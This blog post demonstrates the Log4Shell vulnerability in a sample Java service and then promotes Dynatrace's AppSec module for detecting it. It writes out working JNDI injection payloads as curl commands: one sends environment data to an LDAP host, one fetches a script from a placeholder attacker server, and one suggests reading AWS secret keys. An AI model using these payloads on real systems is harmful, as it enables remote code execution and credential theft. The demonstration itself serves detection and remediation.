Log4JShell — Example App, Detection, and more…
It all started last week when the world woke up to a CVSS10 vulnerability. In this article, I share my personal experience of: a) replicating that vulnerability in my local environment, and b) using Dynatrace’s AppSec module to detect it.
Example Java APP:
The below Java application is simply listening for an API call. Like many other Java apps, its using log4j-core to log those requests.
Normally, the application would be invoked by calling the <server>:<port>. In my case, its localhost:8080 and I am using curl.
curl localhost:8080 -H ‘X-Api-Version: 1.0’
As expected, the logger would be writing the below log lines after a successful invocation of this service.
2021–12–22 05:51:50.917 INFO 1 — — [nio-8080-exec-2] HelloWorld : Received a request for API version 1.0
Nothing vulnerable, nothing malicious just yet.
The Vulnerability
If a malicious actor were to invoke that same service with hostile intent, the call would look very different. It would have all sorts of code injections, URLs, redirections, etc..
For instance, the same service invocation with an intent to execute code looks like:
curl localhost:8080 -H ‘X-Api-Version: ${jndi:ldap://192.168.1.143:1389/callback/${env:PATH}:${java:os}:${sys:user.name}:${date:MM-dd-yyyy}}’
To my surprise, I was able to “execute” those commands as “ROOT” in the host that was running the Java service. Check out the below screenshot that clearly shows the vulnerability in the packages I used in my Java app. The App just opened the door for any attacker out there to do remote-code-execution.
You might ask how I knew what to execute? The moment I read about the CVSS10 score and knew it was about JNDI (Java Naming and Directory Interface), I started playing with it. Most authentication services out there in the Internet still use LDAP so that was my second choice of protocols. While that LDAP service is running in my local machine, its not connected to the Java app in any way. Due to the vulnerability present in that APP, I was able to invoke another program (ldap in this example) by injecting code in the Java app service.
In the real world, malicious actors would invoke their private servers and download some sort of package into that host running that Java App and then the rest is history! That call could look like:
curl localhost:8080 -H ‘X-Api-Version: ${jndi:ldap://maliciousserveraddress:1389/callback/RMICodeToDownload.sh’
If remote-method-invocation was disabled, the log4jshell vulnerability still opens the door for attackers to steal environment variables. As shown in the above example, I invoked “${java:os}” as a root user in the host. I could have invoked “${env:AWS_SECRET_ACCESS_KEY}” and others to retrieve private information.
Detection
Most application security tools require manual configuration, take a long time to produce results, and can’t distinguish between a vulnerability that is a real exposure vs. a potential exposure — so they alert on all of them. As a result, developers waste precious time while their platform is exposed out there.
I used Dynatrace’s Application Security to detect and understand the vulnerability.
Once the OneAgent was installed, the AppSec module took no time to show me the “Remote Code Execution” as the highest rated vulnerability in my solution. Davis Security Advisor highlighted the remediation step for that vulnerability.
Looking deeper on that vulnerability, I could see further details of the library that was affected: org.apache.logging.log4j:log4j-core (including the filename: log4j-core-2.14.1.jar), the process group, the image name (as I ran the app in docker container), the host (docker-desktop in my example) and links to the intel source: Snyk Vulnerability DB.
Remember: this ALL happened at “runtime” in the live environment. I did not have to change any code or rebuild any app or do any fancy thing. Just installed Dynatrace OneAgent and waited for the AppSec module to show me.
The Challenge
Have plans for x-mas and NY break? Not before you mitigate the risks :-) How quickly can you do it?
Imagine the scale in a real production environment where there are hundreds (if not thousands) of applications running, most of them exposed to users (both internal to an organization and external). Detecting you have vulnerability in itself a serious challenge. Doing all that “manually” would take organization significant time and resources — moreover, your org’s existing change and approval processes (to inspect production environments) would hinder your teams’ effort.
Well, if you already have Dynatrace OneAgent installed in your production environment, you are at an advantage! Not just intelligent and automatic detection (after AppSec is enabled — talk to us), you will be able to quickly identify which applications are communicating and could be in a much better position to take remediation actions.
Choose the right technology and stop tool sprawls. Your team will thank you for helping them live their life.
Further Reading
Disclaimer: There are numerous code out there publicly available (Apache 2.0 licensed) to learn and share. This article is not about which code, but it’s about sharing the lessons learnt around detecting and remediating log4jshell related vulnerabilities.
